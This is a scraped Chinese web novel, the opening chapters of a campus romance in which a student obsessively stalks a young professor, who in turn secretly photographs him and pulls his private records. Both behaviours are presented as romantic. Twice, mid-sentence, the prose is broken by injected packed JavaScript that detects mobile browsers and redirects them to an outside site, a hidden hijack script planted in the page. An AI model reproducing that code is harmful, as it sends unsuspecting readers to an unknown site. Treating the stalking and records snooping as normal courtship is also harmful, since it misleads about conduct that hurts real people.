《阴湿学弟别装了》 1. 第一章 开文大吉!!! 九月的阳光带着夏末的余温,斜斜照进A大文学院的走廊。 陆知许低头看了眼手机屏幕——8:02。 还有三分钟上课。 而他此刻正抱着一摞刚领的新课本,站在教学楼三楼的走廊尽头,呼吸因为奔跑而略显急促。白色衬衫的领口微微敞开,露出纤瘦的锁骨,额前的碎发被汗水打湿,贴在光洁的额头上。 一年了。 他在心里默念这个数字,指尖无意识地摩挲着课本光滑的封面。 从大二那场讲座开始,从那个穿着烟灰色西装、站在讲台上剖析《诗经》中隐晦情欲的男人开始——谢砚,文学院最年轻的副教授,28岁,剑桥博士毕业,学术新星,颜值在校园论坛“你最想上的老师”榜单上常年位居第一。 而今天,谢砚的《中国古代文学专题》是大三的必修课。 陆知许调整了一下呼吸,强迫自己冷静下来。为了这堂课,他准备了整整一周——提前三天就开始搭配衣服,最终选定这件看似普通的白衬衫(谢砚在去年的某次采访中说过喜欢干净简洁的穿搭);昨晚把谢砚发表过的所有论文重新读了一遍,甚至查到了谢砚本科时期在校园刊物上发表的诗歌;今早提前一小时起床,把头发洗到最柔软蓬松的状态。 可他还是因为帮室友找丢失的校园卡而迟到了。 “冷静,陆知许。”他低声对自己说,手指却在微微颤抖——不是紧张,是兴奋。 转过走廊拐角,307教室就在眼前。 就在那一瞬间,教室的门从里面被推开。 陆知许甚至没看清来人,只觉得眼前一花,整个人撞进了一个坚实的怀抱。手中的课本哗啦一声散落在地,而更糟糕的是—— “哗——” 温热的液体泼溅开来,深褐色的咖啡渍迅速在白衬衫上洇开,从胸口蔓延到腰际。浓烈的美式咖啡香气在空气中炸开。 时间仿佛静止了。 陆知许僵硬地抬起头。 首先映入眼帘的是一只骨节分明的手——修长、白皙,指甲修剪得干净整齐,正握着一个已经空了的咖啡纸杯。手腕上戴着一块简约的银色腕表,表盘在晨光下折射出冷冽的光。 然后他看到了那双手的主人。 谢砚。 比照片和远距离观望时还要好看。 五官精致得像是工笔画精心勾勒出来的,眉眼深邃,鼻梁高挺,薄唇抿成一条直线。他今天穿着一件浅灰色的丝质衬衫,领口解开一颗纽扣,露出清晰的锁骨线条。此刻,那件价值不菲的衬衫胸口处,正晕染开一片深色的咖啡渍。 空气凝固了三秒。 “对不起!教授对不起!”陆知许猛地后退一步,眼眶瞬间就红了——不是装的,是真的被吓到了。他设想过一百种和谢砚第一次正式见面的场景,唯独没有这一种。 他手忙脚乱地想要从包里找纸巾,手指却抖得厉害,怎么也拉不开拉链。最终只能徒劳地用手去擦谢砚衬衫上的污渍,指尖触碰到温热的、带着人体温度的布料时,像是被烫到般缩了回来。 “我、我真的不是故意的……”陆知许的声音带着明显的颤音,眼眶里蓄起了水光,在晨光下显得湿漉漉的,“您的衬衫……我、我会赔的……” 谢砚没有说话。 他只是垂着眼,静静地看着眼前这个学生。 很年轻,大概二十岁左右。皮肤很白,是那种近乎透明的瓷白,此刻因为慌乱和窘迫染上了一层薄红。眼睛很大,眼尾微微下垂,看人的时候总带着一种无辜的、小动物般的脆弱感。鼻尖小巧,此刻也泛着红。嘴唇…… 谢砚的视线在那双紧抿的、色泽饱满的唇上停留了半秒。 很漂亮的颜色,像初熟的樱桃。 然后他的目光下移,落在陆知许的衬衫上。白色的棉质布料被咖啡浸透,紧紧贴在胸膛上,隐约透出底下肌肤的色泽,以及—— 谢砚的眼神暗了暗。 锁骨很漂亮。腰也很细。 “没事。”他终于开口,声音比陆知许想象中要低沉一些,带着刚睡醒般的微哑,“先上课。” 说完,谢砚弯腰捡起了散落在地上的课本。他的动作不疾不徐,甚至称得上优雅,仿佛刚才被泼了一身咖啡的不是他。 陆知许呆呆地看着他。 谢砚把整理好的课本递过来:“你的?” “啊……是、是的。”陆知许赶紧接过,指尖不可避免地碰到了谢砚的手指。 温热的触感。 那一瞬间,陆知许几乎要控制不住自己反手握住那只手的冲动。他深吸一口气,强迫自己低下头:“谢谢教授……” “进来吧。”谢砚侧身让开,“要迟到了。” 教室里已经坐满了人。 当谢砚带着一身咖啡渍走进来时,原本还有些嘈杂的教室瞬间安静下来。几十双眼睛齐刷刷地看向门口,然后在谢砚和陆知许之间来回移动,眼神里写满了好奇和八卦。 陆知许低着头,快步走到后排的空位坐下。他能感觉到那些视线像针一样扎在背上。 讲台上,谢砚仿佛完全没有注意到自己狼狈的样子。他把空咖啡杯扔进垃圾桶,抽出纸巾简单擦了擦手,然后翻开教案。 “我是谢砚。”他开口,声音透过麦克风传遍教室的每个角落,“这学期由我来带你们的《中国古代文学专题》。” 他的语气平静,甚至带着一丝漫不经心,仿佛刚才那个小插曲从未发生过。 但陆知许注意到了——谢砚在说这句话的时候,目光若有似无地扫过了他的方向。 只是一瞥,很快,快到几乎让人以为是错觉。 但陆知许知道那不是。 他的心跳漏了一拍。 --- 整堂课,陆知许都处在一种恍惚的状态中。 咖啡渍在衬衫上慢慢干涸,留下深褐色的印记,贴在皮肤上有些难受。但他没有心思在意这些。 他的全部注意力都在讲台上的那个人身上。 谢砚讲课的样子和陆知许想象中一样迷人——不,是比想象中还要迷人。他不用PPT,只凭一支粉笔和满腹经纶,就能把枯燥的文学理论讲得生动有趣。板书字迹遒劲有力,握粉笔的手指修长,手腕转动时袖口微微上滑,露出一截白皙的手腕。 陆知许的视线黏在那只手上。 他想到了自己手机相册里那张照片——去年谢砚在图书馆做讲座时,他偷偷拍的。照片里的谢砚也是这样握着钢笔,指尖抵着额角,侧脸在落地窗透进来的光线中显得朦胧而温柔。 那张照片被陆知许设置成了手机锁屏,每天晚上睡前都要看很久。 而现在,真人就在眼前。 更近,更真实。 “那么,关于《诗经》中‘兴’的手法的运用,有没有同学可以举个例子?” 谢砚的声音打断了陆知许的思绪。 他抬起头,发现谢砚的目光正扫视着全班。当那双深褐色的眼睛看向自己时,陆知许下意识地屏住了呼吸。 然后他听见谢砚说: “后排那位……衬衫上沾了咖啡的同学。” 全班的目光瞬间聚焦过来。 陆知许僵住了。 “你来回答一下。”谢砚的语气很平静,甚至带着一丝若有似无的笑意,“就当是为你迟到的……补偿。” 教室里响起一阵压抑的低笑。 陆知许的脸瞬间涨得通红。他慢慢站起来,手指紧紧攥着桌沿,指尖因为用力而泛白。 他能感觉到谢砚在看他。 专注地、审视地看他。 “我……”陆知许开口,声音有些发紧,“《关雎》中,‘关关雎鸠,在河之洲’就是‘兴’的手法。先写雎鸠和鸣,再引出‘窈窕淑女,君子好逑’的主题,以自然景物兴起人的情感……” 他说得很慢,每个字都像是从喉咙里挤出来的,听起来紧张又笨拙。 但内容却是准确的,甚至可以说精准。 谢砚挑了挑眉。 这个学生……有点意思。 表面上看起来慌乱得快要哭出来,说出来的东西却条理清晰、引经据典。而且——谢砚的视线落在陆知许因为紧张而微微颤抖的睫毛上——这副样子,确实很能激发人的某种冲动。 想看他更慌乱的样子。 想看他眼眶真的红起来的样子。 “很好。”谢砚点了点头,“请坐。” 陆知许如蒙大赦般坐下,后背已经出了一层薄汗。 接下来的半堂课,他不敢再抬头看谢砚,只能死死盯着课本,仿佛要把纸页看穿。 直到下课铃响起。 “课代表下课后来我办公室一趟。”谢砚合上教案,“另外,今天的阅读材料已经上传到课程平台,下周课前交一份五百字的思考笔记。” 教室里顿时响起一片哀嚎。 学生们陆陆续续离开教室。陆知许坐在原地没动,等到人走得差不多了,他才慢慢开始收拾东西。 “同学。” 一个声音在头顶响起。 陆知许猛地抬头。 谢砚不知什么时候走到了他桌前,正垂眼看他。距离很近,近到陆知许能闻到他身上淡淡的檀木香气,混杂着一丝咖啡的苦味。 “教、教授……”陆知许又结巴了。 “你的东西。”谢砚伸出手。 掌心躺着一枚银色的钢笔笔帽,在阳光下闪着微光。 陆知许愣住了。 “刚才捡书的时候掉出来的。”谢砚说,“是你的吗?” 那当然不是陆知许的。 但他还是伸手接了过来。指尖触碰到谢砚掌心的瞬间,他几乎要控制不住地颤抖。 “谢、谢谢教授……”陆知许把笔帽紧紧攥在手心,金属的冰凉质感透过皮肤传来。 谢砚看着他通红的耳尖,嘴角勾起一个极浅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301335|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弧度。 “不客气。”他说,“对了,办公室在五楼502,课代表记得来拿教学大纲。” 说完,他转身离开。 白衬衫上的咖啡渍已经干成了深褐色,贴在后背上,勾勒出清晰的肩胛骨线条。 陆知许盯着那个背影,直到它消失在教室门口。 然后他缓缓摊开手掌。 银色的钢笔笔帽静静躺在掌心,还残留着谢砚的体温。 陆知许的指尖轻轻摩挲过笔帽表面。那里刻着一行极小的英文花体字——“To Y.Xie, Cambridge, 2019”。 是谢砚的钢笔。 是他一年前在图书馆讲座上用过的那支万宝龙。 陆知许的心脏在胸腔里剧烈跳动起来。他小心翼翼地把笔帽收进衬衫胸前的口袋,紧贴着心脏的位置。 那里,咖啡渍已经干透了,在白色布料上绽开一朵深褐色的花。 像某种隐秘的印记。 --- 五楼,教师办公室。 谢砚关上门,脱下那件被咖啡毁掉的衬衫。丝绸面料很娇贵,这么一大片污渍,基本是救不回来了。 但他并没有生气。 相反,他走到洗手台前,看着镜子里的自己。 胸口处还有一小片湿润,是刚才那个学生慌乱中擦拭时留下的触感。指尖很凉,带着细微的颤抖,隔着薄薄的衬衫布料,几乎能感觉到皮肤的温度。 谢砚伸出手,指尖轻轻按在自己胸口。 然后他笑了。 一个很浅、但真实的笑意。 他从抽屉里拿出一个黑色的笔记本,翻开,拿起钢笔。 笔尖悬在纸页上方,停顿了几秒,然后落下: 9月10日,晴。 开学第一课,被一个迟到的学生撞翻了咖啡。 他吓哭了(或者快要哭了),眼睛很红,像兔子。 衬衫湿了贴在身上,锁骨很漂亮。 回答问题的时候看起来紧张得要死,但其实什么都懂。 有趣。 钢笔帽被他拿走了。他知道那是我的吗? 谢砚写到这里,笔尖顿了顿。 然后他补上一句: 希望他知道。 --- 与此同时,男生宿舍三号楼409室。 陆知许把宿舍门反锁,拉上窗帘,然后才小心翼翼地从口袋里取出那枚钢笔笔帽。 他打开书桌最底层的抽屉——那是一个带密码锁的抽屉,密码是他的生日加上某个特定的日期。 抽屉里整整齐齐地摆放着各种东西: 一叠打印出来的照片,全是谢砚。有讲座时的,有走在校园里的,甚至有一张是从学校官网教师介绍页面上截取的工作照。 几篇学术论文的复印件,作者栏都印着“谢砚”两个字。 一张课程表,上面用荧光笔标出了所有谢砚的课。 还有一个透明的文件夹,里面装着一些零碎的东西——一片干枯的银杏叶(去年秋天谢砚走过银杏大道时踩过的那条路),一张咖啡厅的收据(谢砚常去的那家,陆知许跟踪他去过三次),甚至还有一根极细的、浅褐色的头发(某次谢砚在图书馆靠窗的位置看书时落在椅子上的)。 现在,这个收藏里又多了一样东西。 陆知许把钢笔笔帽放在台灯下,仔细端详。 银色的金属表面在灯光下流转着温润的光泽。那行刻字很小,要凑得很近才能看清。陆知许用指尖一遍遍描摹那些字母,仿佛能透过它们触碰到谢砚握笔时的手指。 然后他拿出手机,点开一个加密相册。 相册的名字很简单:“月亮”。 里面已经有七百多张照片了。 陆知许新建了一个文件夹,命名为“0903”,然后对着钢笔笔帽拍了三张不同角度的照片,上传。 做完这一切,他仰面倒在床上,举起那枚笔帽,对着天花板上的灯光看。 金属反射的光芒落进他眼里。 那双总是显得无辜温顺的眼睛,此刻清晰地倒映着银色的光点,深处有什么东西在静静燃烧。 “谢砚……” 他低声念出这个名字,舌尖抵着上颚,发出轻柔的气音。 然后他把笔帽紧紧握在手心,贴在胸前。 衬衫上的咖啡渍已经干了,但那种被液体浸透的、黏腻的触感仿佛还停留在皮肤上。 那是谢砚的咖啡。 泼在他身上,留下了印记。 陆知许闭上眼睛,嘴角慢慢扬起一个弧度。 一个与平日里那个温顺乖巧的陆知许截然不同的、带着某种隐秘满足感的笑容。 窗外,夜幕渐渐降临。 一轮弯月悬在天边,清冷的光辉洒进室内,落在少年握着钢笔笔帽的手上。 月光与银辉交织。 像某种无声的契约,在这一刻悄然缔结。 2. 第二章 下课后的教学楼走廊恢复了安静。 陆知许在座位上坐了足足五分钟,才慢慢站起身。手里的课本因为刚才的紧张而被捏出了细小的褶皱,他下意识地抚平书页,指尖却还在微微颤抖。 不是因为害怕。 是因为兴奋。 那种从心脏深处蔓延开来的、带着细微电流感的兴奋,让他几乎要控制不住嘴角上扬的冲动。 他深吸一口气,把表情调整回平日里那副温顺无害的样子,然后抱着课本走出了教室。 走廊里已经没什么人了。午后的阳光透过窗户在地面上投出菱形的光斑,空气中漂浮着细微的粉尘,在光束里缓缓沉浮。 陆知许没有直接回宿舍。 他绕到了教学楼另一侧的楼梯,那里有一扇窗户正对着教师办公楼的方向。他找了个隐蔽的角落站定,从书包里掏出手机,调到最大焦距。 镜头摇晃了几下,最终聚焦在五楼那扇熟悉的窗户上。 谢砚的办公室。 窗帘半开着,能隐约看见里面暖黄色的灯光。但距离太远了,看不清具体的人影。 陆知许拍了几张照片,又录了一段十五秒的视频。画面里,那扇窗户安静地亮着,像夜幕中一颗孤独的星。 他把视频保存,文件名标注上时间:9月10日 14:37,谢砚的窗。 做完这一切,他才转身离开。 但走了几步,又停了下来。 课代表要去拿教学大纲。 谢砚刚才在课堂上说的。 陆知许低头看了看自己衬衫上的咖啡渍——深褐色的印记在白色布料上格外刺眼。他又摸了摸口袋里的钢笔笔帽,金属的凉意透过薄薄的布料传递到皮肤上。 去,还是不去? 如果去,就要以这副狼狈的样子再次出现在谢砚面前。 如果不去…… 陆知许的指尖收紧。 他怎么可能不去。 --- 五楼,教师办公区。 走廊里铺着深灰色的地毯,踩上去几乎听不到脚步声。两侧的办公室门都紧闭着,门牌上印着教授们的名字和职称。 502室在走廊尽头。 陆知许站在门前,深呼吸了三次,才抬起手。 指节刚要碰到门板,门却从里面打开了。 谢砚站在门口,手里拿着一个黑色的保温杯,似乎正要出去接水。看到陆知许时,他明显愣了一下。 “教授……”陆知许小声开口,眼睛下意识地垂了下去,“我来拿教学大纲。” 谢砚的目光在他身上停留了几秒。 从湿漉漉的头发(陆知许刚才在洗手间用冷水冲了把脸),到衬衫上那片刺眼的咖啡渍,再到因为紧张而微微泛红的鼻尖。 “进来吧。”他侧身让开。 办公室不大,但布置得很雅致。 靠墙是一整排书柜,里面塞满了各种精装书和文献。窗前摆着一张宽大的实木办公桌,桌面上除了电脑和几叠文件,还有一个青瓷笔筒,里面插着几支钢笔。 其中一支,缺了个笔帽。 陆知许的视线在那支钢笔上停留了半秒,然后迅速移开。 “坐。”谢砚指了指办公桌对面的椅子。 陆知许小心翼翼地坐下,双手规矩地放在膝盖上,背挺得笔直——标准的乖学生坐姿。 谢砚走到饮水机旁,接了杯热水,然后从柜子里拿出一个纸杯,倒了点什么进去。 “喝吧。”他把纸杯推到陆知许面前。 温热的气息扑面而来。 是牛奶。 陆知许愣住了。 “你的手在抖。”谢砚重新坐回办公椅,语气平静,“补充点糖分会好一些。” 陆知许低头看向自己的手——确实在微微颤抖。他赶紧把手藏到桌子下面,耳尖更红了。 “谢、谢谢教授……” 他捧起纸杯,小口小口地喝着。温热的牛奶滑过喉咙,带着淡淡的甜味,确实让紧绷的神经放松了一些。 谢砚从抽屉里拿出一份文件,推到陆知许面前。 “这是本学期的教学大纲和阅读书目。”他说,“课代表需要负责收作业、发通知,偶尔可能需要帮我整理一些资料。可以胜任吗?” “可以的!”陆知许立刻点头,声音因为急切而抬高了些,随即又不好意思地放轻,“我会认真做的……” 谢砚看着他因为点头而微微晃动的发梢,嘴角几不可察地弯了弯。 “另外,”他顿了顿,“关于那件衬衫。” 陆知许的身体瞬间僵住了。 “不用赔了。”谢砚说,“一件衬衫而已。” “可是……”陆知许抬起头,眼睛里写满了不安,“那是我的错……” “那就用别的方式补偿吧。”谢砚向后靠进椅背,双手交叠放在膝盖上,目光落在陆知许脸上,“这学期的课代表工作,认真做。就算补偿了。” 他的语气很平淡,像是在陈述一个再普通不过的事实。 但陆知许却觉得,那句话里藏着别的什么。 某种……暗示? “我会的。”他认真地说,眼睛里闪着光,“我一定不会让您失望的,教授。” 谢砚点了点头,没再说什么。 办公室里安静下来,只有空调运转的微弱嗡鸣。窗外的阳光斜斜照进来,在谢砚的侧脸上投下睫毛的阴影。 陆知许捧着纸杯,视线忍不住飘向谢砚的手。 那只手现在正随意地搭在办公椅扶手上,指尖轻轻敲击着木质表面。骨节分明,手腕处凸起的腕骨随着动作若隐若现。 和记忆里那张照片上一模一样。 甚至更好看。 陆知许看得有些出神,直到谢砚突然开口: “还有事吗?” “啊……没有了!”陆知许猛地回神,慌乱地站起身,“那我先走了,教授!” 纸杯里的牛奶还剩一半,但他已经顾不上喝了。 “纸杯放这儿吧。”谢砚说。 陆知许乖乖把纸杯放回桌上,然后抱起那叠教学大纲,几乎是逃跑般地离开了办公室。 门轻轻关上。 办公室里重新恢复了安静。 谢砚坐在原地没动,目光落在那个纸杯上。 纸杯边缘还残留着一圈淡淡的奶渍,是陆知许喝过的地方。 谢砚看了几秒,然后伸手拿过纸杯,转了个方向,就着那个位置,把里面剩下的牛奶喝完了。 温热的液体滑过喉咙。 带着一丝若有似无的、不属于牛奶本身的味道。 像是某种水果的甜香。 是洗发水?还是沐浴露? 谢砚放下纸杯,指尖无意识地摩挲着杯壁上残留的温度。 然后他拉开抽屉,把那个空纸杯放了进去——和那件报废的丝绸衬衫放在一起。 抽屉合上,发出轻微的咔哒声。 --- 走廊里,陆知许背靠着墙壁,大口喘着气。 他的心跳快得像要炸开,脸颊烫得厉害。刚才在办公室里的每一秒,都像是在走钢丝——既紧张又兴奋,既想逃跑又想靠近。 他低头看向手里的教学大纲。 最上面一页是谢砚手写的本学期课程安排,字迹遒劲有力,墨迹很深,像是用了很大的力气。 陆知许的指尖轻轻抚过那些字迹。 然后他做了个自己都觉得有点变态的举动——他把那页纸举起来,凑到鼻尖,深深吸了一口气。 淡淡的墨香。 还有一丝极淡的、谢砚身上的檀木香气。 陆知许闭上眼睛,把这口气在肺里停留了很久,才缓缓吐出。 他知道自己不对劲。 从一年前在图书馆第一次看到谢砚时就知道。 正常的学生不会把教授的照片存满手机,不会去捡教授掉落的头发,不会跟踪教授去常去的咖啡厅,更不会在不小心撞到教授后,兴奋得整夜睡不着。 但陆知许控制不了。 就像他控制不了此刻嘴角上扬的弧度。 他小心翼翼地把教学大纲收进书包最里层,然后拿出手机,点开加密相册。 新建文件夹:办公室,0903。 然后他开始打字记录: 14:52,第一次进谢砚的办公室。 办公室里有檀木香,和教授身上的味道一样。 书柜很满,最上层是剑桥时期的论文集(看到了书名)。 笔筒里有七支钢笔,其中一支是万宝龙,缺笔帽(我的口袋里)。 教授给我热牛奶,纸杯是普通的白色纸杯,他让我放那儿(我喝过的位置在杯口左侧)。 他的手搭在扶手上,敲击的频率是每分钟72次(和我心跳一样)。 走的时候太紧张,忘记多看几眼窗台上的那盆绿植(好像是多肉,下次要确认)。 打完这些字,陆知许又翻到之前拍的那段视频——谢砚办公室窗户的视频。 他戴上耳机,把音量调到最大。 视频里只有风吹过的背景音,和远处隐约的汽车鸣笛。 但陆知许闭上眼睛,仿佛能透过这十五秒的画面,看到窗内那个坐在办公桌前的身影。 修长的手指握着钢笔。 睫毛垂下来,在眼下投出浅浅的阴影。 或许在写教案,或许在看论文,又或许……在想起今天那个撞翻他咖啡的笨拙学生。 陆知许希望是最后一种。 --- 傍晚,宿舍。 陆知许一进门,就被三个室友团团围住。 “老陆!听说你今天干了件大事?”说话的是睡陆知许对床的陈宇,一米八五的体育生,此刻正挤眉弄眼地笑着。 陆知许心里一紧,表面却装出茫然的样子:“什么?” “还装!”另一个室友李锐拍了下他的肩,“全院都传遍了!开学第一课,你把谢教授的咖啡撞翻了,还泼了人家一身!” “那可是谢砚啊!”第三个室友张子轩夸张地捂住胸口,“文学院高岭之花,多少学姐学妹的梦中情人,你就这么把咖啡往人家身上泼?故意的吧?” 陆知许的脸腾地红了:“我不是故意的……” “知道知道,你哪有那个胆子。”陈宇揽住他的肩,“不过说真的,谢教授没生气?我听隔壁班的说,他那件衬衫看着就贵,丝质的,得四位数吧?” “教授说不用赔。”陆知许小声说。 “哇靠,人这么好?”李锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301336|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑眉,“不过也是,谢教授本来口碑就好,虽然看着高冷,但对学生一直挺宽容的。” 张子轩突然凑近,盯着陆知许的衬衫:“你这衣服……没换?” 陆知许这才想起,自己还穿着那件沾满咖啡渍的衬衫。 “忘了……”他含糊地说,转身想去拿换洗衣服。 “等等。”陈宇拉住他,眼神变得有些微妙,“老陆,你不对劲。” 陆知许身体一僵。 “按你的性格,衣服脏成这样,第一件事肯定是回宿舍换掉。”陈宇摸着下巴,“而且你这一下午干嘛去了?三点就下课了,现在六点才回来。” “我……我去图书馆了。”陆知许说。 “图书馆?”李锐挑眉,“那你书包里怎么一本专业书都没有?” 陆知许这才想起,自己的书包里除了谢砚给的教学大纲,就只有那本《中国古代文学专题》教材——而教材,他下午根本没打开过。 “我……”他张了张嘴,却不知道该说什么。 三个室友对视一眼,脸上的表情更加玩味。 “老实交代。”张子轩压低声音,“是不是……去见什么人了?” 陆知许的心脏狠狠跳了一下。 “没有!”他立刻否认,声音因为急促而显得有些尖,“我就是……就是去教学楼后面散了会儿步,想事情……” “想什么需要想三个小时?”陈宇追问。 陆知许答不上来了。 他总不能说,自己在谢砚办公室楼下站了一个小时,又绕到能看见那扇窗户的地方站了一个小时,最后在校园里漫无目的地走了很久,满脑子都是谢砚给他牛奶时的那句话。 “你的手在抖。” 谢砚注意到了。 注意到了他最细微的颤抖。 这个认知让陆知许整个下午都处于一种轻飘飘的、不真实的状态里。 “行了行了,别逗他了。”李锐拍了拍陈宇的肩,“老陆脸皮薄你又不是不知道。” 陈宇这才松开手,但还是用那种探究的眼神看着陆知许:“不过说真的,老陆,你今天确实怪怪的。” 陆知许低下头,抱着换洗衣服快步走向浴室:“我去洗澡了。” 浴室门关上,隔绝了外面的视线。 陆知许背靠着门板,缓缓滑坐到地上。 他抱着膝盖,把脸埋进臂弯里。 过了很久,浴室里响起压抑的、低低的笑声。 --- 深夜,十一点。 宿舍已经熄灯,室友们都睡着了,发出均匀的呼吸声。 陆知许躲在被子里,手机屏幕的光照亮了他的脸。 他正在整理今天的“收获”。 照片、视频、文字记录,还有……那枚钢笔笔帽。 他把笔帽放在枕边,伸手就能摸到的地方。金属在夜色里泛着微光,像一颗小小的月亮。 然后他点开加密相册,翻到了最古老的那一张照片。 那是一年前,谢砚在图书馆报告厅做讲座时拍下的。 照片里的谢砚穿着深灰色的西装,站在讲台后,一手撑着桌面,另一只手拿着激光笔。侧脸线条干净利落,眼神专注地看着PPT,嘴角带着浅浅的、职业化的微笑。 那是陆知许第一次见到谢砚。 也是他第一次知道,原来心跳可以快成这样。 原来光是看着一个人,就能感觉到从心脏蔓延到四肢百骸的、酸涩又甜蜜的疼痛。 他盯着那张照片看了很久,然后切换到今天拍的新照片——谢砚办公室的窗户,午后的阳光,拉了一半的窗帘。 新旧照片放在一起,像是在看一场缓慢的、历时一年的靠近。 从报告厅的最后一排,到教室的后排,再到……他的办公室。 距离在缩短。 虽然还是很远,但至少,今天谢砚记住了他的名字(或者说,记住了“那个衬衫沾了咖啡的学生”),给了他牛奶,让他做了课代表。 陆知许把手机按在胸口,闭上眼睛。 脑海里又浮现出谢砚说“你的手在抖”时的样子。 语气平淡,眼神却很深。 像寂静的湖面,底下藏着看不清的漩涡。 陆知许知道那可能是自己想多了。 谢砚可能只是随口一说,可能只是出于师长的关心,可能对每个学生都这样。 但他还是忍不住去揣测,去幻想,去给每一个细节加上自己想要的解读。 因为如果不这样,这一年来的暗恋就太苦了。 苦到需要靠这些微小的、可能根本不存在的“特殊”,才能支撑下去。 被子里,陆知许的指尖轻轻摩挲着钢笔笔帽上的刻字。 To Y.Xie, Cambridge, 2019. Y.Xie。 谢砚。 他的月亮教授。 窗外,真正的月亮升到了中天,清冷的月光透过窗帘缝隙洒进来,落在少年微微颤抖的睫毛上。 枕头下,手机屏幕还亮着,显示着那张一年前的照片。 照片里的谢砚在微笑。 而被窝里的陆知许,也正对着那枚钢笔笔帽,露出一个很轻、很柔软的、只存在于黑暗中的笑容。 3. 第三章 教师公寓的灯光在深夜十一点依然亮着。 谢砚坐在书房的落地窗前,手里拿着一杯威士忌。冰块在琥珀色的液体中缓缓融化,发出细微的咔啦声。 窗外是A大的夜景。图书馆还亮着灯,像一艘漂浮在夜色中的巨大方舟。远处宿舍楼的窗户星星点点,有些已经暗了,有些还亮着——那些熬夜赶作业、打游戏、或者像他一样失眠的学生。 谢砚抿了一口酒,目光落在书桌上摊开的黑色笔记本上。 笔记本的纸张很厚,边缘已经微微泛黄——这是他从剑桥带回来的习惯,用这种厚重的笔记本记录一切重要的、或者不那么重要但值得记住的事。 今天这一页,字迹比平时要潦草一些。 9月10日,续。 他叫陆知许。中文系大三,学号201902147。 成绩很好:大一专业第一,大二专业第二(唯一一门低于90分的是体育)。 无违纪记录,辅导员评价“性格温和,学习认真,与同学关系融洽”。 家庭情况:本市人,独子,父亲是工程师,母亲是中学教师。 看起来很普通。 谢砚的笔尖在这里顿了顿,然后继续写道: 但眼睛不会骗人。 今天在办公室,他看我的手看了三次,每次持续时间3-5秒。 第一次是我推牛奶过去的时候,他盯着我握杯子的手。 第二次是我把教学大纲递过去的时候,他盯着我翻页的手指。 第三次是他离开前,偷偷瞄了一眼笔筒——准确地说,是瞄了那支缺笔帽的万宝龙。 他在找什么? 或者,他在确认什么? 谢砚放下笔,拿起桌上那个白色的纸杯。 空了的牛奶纸杯,边缘还残留着一点点奶渍。下午陆知许离开后,谢砚就把它放进了抽屉,晚上回家时又特意带回来了。 现在,这个纸杯被放在书桌最显眼的位置。 谢砚看着它,又抿了一口酒。 酒精在口腔里蔓延开苦涩的香气,但他脑子里想的却是另一种味道——下午那个学生身上淡淡的、水果味的甜香。 像水蜜桃,又像某种柑橘。 很清新的味道,和那个看起来温顺乖巧的外表很配。 但谢砚总觉得,那层温顺之下,藏着别的东西。 比如今天在教室里,陆知许回答问题时那种表面紧张、实则条理清晰的反差。 比如他明明衣服脏了应该很难受,却拖到傍晚才回宿舍换(陈宇发短信旁敲侧击问“陆知许是不是有洁癖”时,谢砚就知道了)。 再比如…… 谢砚的目光落在纸杯边缘那个浅浅的唇印上。 陆知许喝牛奶时,嘴唇会轻轻抿住杯沿,留下一个很淡的、几乎看不见的印记。 但谢砚看见了。 不仅看见,他还就着那个位置,把剩下的牛奶喝完了。 现在回想起来,这个举动本身就很反常。 但他当时没想那么多。 或者说,想了,但放任自己那么做了。 谢砚又喝了一口酒,然后拿起手机,点开微信。 通讯录里有一个新加的联系人——备注是“陆知许(课代表)”。 头像是只白色的猫,蜷缩在窗台上晒太阳,看起来很柔软。 朋友圈设置了三天可见,最新一条是昨天晚上十一点发的: “新学期,新开始。晚安,世界。” 配图是一张夜空照片,角落里有一弯很细的月亮。 很普通的学生朋友圈,没有任何特别之处。 但谢砚盯着那张夜空照片看了很久。 然后他切到相册,找到今天下午在办公室拍的一张照片——趁陆知许低头喝牛奶时,用手机快速抓拍的。 照片里的少年捧着纸杯,睫毛垂下来,在脸颊上投出浅浅的阴影。鼻尖因为室内外温差而微微泛红,嘴唇贴在杯沿上,看起来柔软又无辜。 阳光从侧面照进来,给他整个人镀上了一层毛茸茸的金边。 像某种小动物。 谢砚把这张照片保存到加密相册——那个相册的名字叫“观察记录”,里面已经存了几十张各种学生的照片,都是他在教学过程中觉得“有趣”或者“值得关注”的个案。 但陆知许这张,被他单独建了一个子文件夹。 文件夹命名:“陆”。 保存完毕后,谢砚又点开邮箱。 下午他让助教调了陆知许的档案,现在详细的资料已经发过来了。 他滑动屏幕,一行行看下去。 高中:市一中,理科实验班。高考成绩678分,全省前200名。 志愿填报:第一志愿A大中文系,第二志愿B大中文系,第三志愿C大中文系。 备注:以他的分数完全可以上更好的学校或更热门的专业,但三个志愿全部填报中文系,且都是师范类院校。 谢砚的指尖在屏幕上轻轻敲击。 理科实验班出身,高考高分,却执着地要学中文。 为什么? 他继续往下翻。 大一大二选课记录: 除了必修课,额外选修了《西方文论导读》《比较文学研究方法》《中国古代美学专题》——都是理论性强、难度大的课。 成绩全部在90分以上。 大二下学期,旁听了研究生课程《叙事学前沿问题》(备注:那门课的主讲教师是谢砚)。 谢砚的手指停在这里。 他想起来了。 去年春天,他确实开了一门研究生选修课。教室里总坐得满满的,除了注册选课的研究生,还有一些来旁听的本科生。 但他对陆知许没有印象。 或者说,对任何一个旁听生都没有特别深的印象——他上课时很少看台下,大部分时间都在看自己的讲义或者板书。 